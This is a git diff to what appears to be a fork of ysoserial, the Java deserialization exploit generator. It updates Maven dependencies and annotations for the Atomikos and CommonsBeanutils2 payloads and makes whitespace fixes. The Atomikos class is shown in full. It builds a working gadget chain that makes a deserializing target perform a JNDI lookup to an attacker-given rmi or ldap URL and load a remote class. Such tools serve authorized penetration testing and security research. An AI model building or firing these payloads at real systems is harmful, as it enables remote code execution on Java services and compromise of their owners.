diff --git a/pom.xml b/pom.xml index 464d378..6fd3d35 100644 --- a/pom.xml +++ b/pom.xml @@ -332,9 +332,19 @@ com.atomikos - transactions-osgi + transactions-jta 4.0.6 + + com.atomikos + transactions-api + 4.0.6 + + + com.atomikos + atomikos-util + 4.0.6 + org.springframework spring-tx diff --git a/src/main/java/ysoserial/payloads/Atomikos.java b/src/main/java/ysoserial/payloads/Atomikos.java index f21e688..36aac79 100644 --- a/src/main/java/ysoserial/payloads/Atomikos.java +++ b/src/main/java/ysoserial/payloads/Atomikos.java @@ -13,7 +13,7 @@ import ysoserial.payloads.util.Reflections; /** * * Gadget chain: -* +* * javax/management/BadAttributeValueExpException.readObject() * com/atomikos/icatch/jta/RemoteClientUserTransaction.toString() * com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup() @@ -29,48 +29,48 @@ import ysoserial.payloads.util.Reflections; * * This gadget chain was also discovered by pwntester: * https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf -* +* */ @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest") -@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } ) +@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } ) @Authors({ Authors.PWNTESTER, Authors.SCICCONE }) public class Atomikos implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - + // validate command int sep = command.lastIndexOf('/'); - if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi"))) - throw new IllegalArgumentException("Command format is: " + command + if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi"))) + throw new IllegalArgumentException("Command format is: " + command + "(rmi,ldap)://[:]/"); String url = command.substring(0, sep); String className = command.substring(sep + 1); - + // create factory based on url String initialContextFactory; if (url.startsWith("ldap")) initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory"; - else + else initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory"; - + // create object RemoteClientUserTransaction rcut = new RemoteClientUserTransaction(); - + // set values using reflection Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory); Reflections.setFieldValue(rcut, "providerUrl", url); Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className); - + // create exception BadAttributeValueExpException exception = new BadAttributeValueExpException(null); Reflections.setFieldValue(exception, "val", rcut); - + return exception; } - + public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Atomikos.class, args); } diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutils2.java b/src/main/java/ysoserial/payloads/CommonsBeanutils2.java index 29dca19..dade68b 100644 --- a/src/main/java/ysoserial/payloads/CommonsBeanutils2.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutils2.java @@ -12,7 +12,7 @@ import java.util.PriorityQueue; // Origin Detective is PHITHON From // https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html @SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"}) @Authors({Authors.K4n5ha0}) public class CommonsBeanutils2 implements ObjectPayload {